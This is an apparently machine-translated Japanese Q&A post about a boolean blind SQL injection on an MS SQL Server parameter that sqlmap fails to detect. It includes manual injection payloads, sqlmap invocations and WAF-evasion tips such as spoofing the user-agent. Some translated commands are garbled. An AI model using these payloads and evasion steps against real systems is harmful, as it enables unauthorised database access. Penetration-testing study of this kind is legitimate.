単純なブールブラインドSQLの脆弱性を発見し、sqlmapに繰り返し処理を実行させたいのですが、動作しないようです。はるかに遠いところから開始しようとしているようです。詳細はこちら。脆弱性はこんな感じ
http://Host/path?param=123
そして、私はこのようにクエリすることができます
http://Host/path?param=123' or 10 = (select len(system_user()));--
(もちろんエンコードされたURL)。 2番目のor条件がtrueの場合、「Found 1000 hits」という応答のどこかに到達します。 falseの場合、「0ヒットが見つかりました」と表示されます。だから今私は簡単にバイナリ検索を行うことができます
http://Host/path?param=123' or 100 < (select ascii(substring(system_user(), 1, 1));--
1文字あたりの文字(気付かない場合はMS SQL Serverです)。これは非常に流血に見えますが、sqlmapが「paramは注入可能ではないようです」と繰り返し通知していることを理解できません。これが私が試したsqlmap呼び出しです:
sqlmap -u "http://Host/path?param=123" -p param --current-user --dbms mssql --prefix="123' or " --suffix=";--" --risk 3 --level 2
私は、-risk、-level、-technique = B、および--string = "Found 1000 hits"を使用しました。何も役に立ちません。 sqlmapに何も検索せず、このばかげた繰り返しを実行するように指示するにはどうすればよいですか?
例のように単純な挿入ポイントは、sqlmapによって確実に取得できます。
トラブルシューティングのアイデアは次のとおりです。
サーバーはWAFを使用できますか、それともsqlmapユーザーエージェント(sqlmap/x.x
)に反応しますか? --user-agent
を使用して、ブラウザーと同じユーザーエージェント(または一般的なユーザーエージェント)を指定します。
サーバーは、高速で連続するHTTPリクエストに対して異なる反応をしますか? --delay
を使用して、リクエスト間の遅延間隔を指定できます。
このような単純な注入では、通常、--prefix
および--suffix
を指定する必要はありません。 sqlmap自体の分析プロセスを混乱させないように、それらを省略した方がよいでしょう。
バックエンドDBMSについて100%確信がない場合は、--dbms mssql
を省略してみてください。 sqlmapは通常、それ自体を把握できます。
リクエストは認証されるか、知らないCookie設定に依存しますか? --cookie
を使用して、ブラウザに設定されている可能性のある同じCookieを追加します。
Sqlmapを使用してリクエストとレスポンスをデバッグし、ブラウザで取得しているものと比較します。高い output verbosity レベル(例:-v 6
)を設定して、HTTPトラフィック全体をオーバーサーブできます。
curl
を使用して、手動注入が通常ブラウザの外部で機能することを確認します。例えば。:
curl "http:// Host/path?param = 123 'or 10 =(select len(system_user()));-" | grep "1000ヒット"
ブールベースのブラインドSQliを見つけたと述べたので、以下のようなsqlmap入力が必要になります。
#sqlmap -u "http://Host/path?param=123" --technique=B --level=5 --risk=3 --random-agent --dbms=MSSQL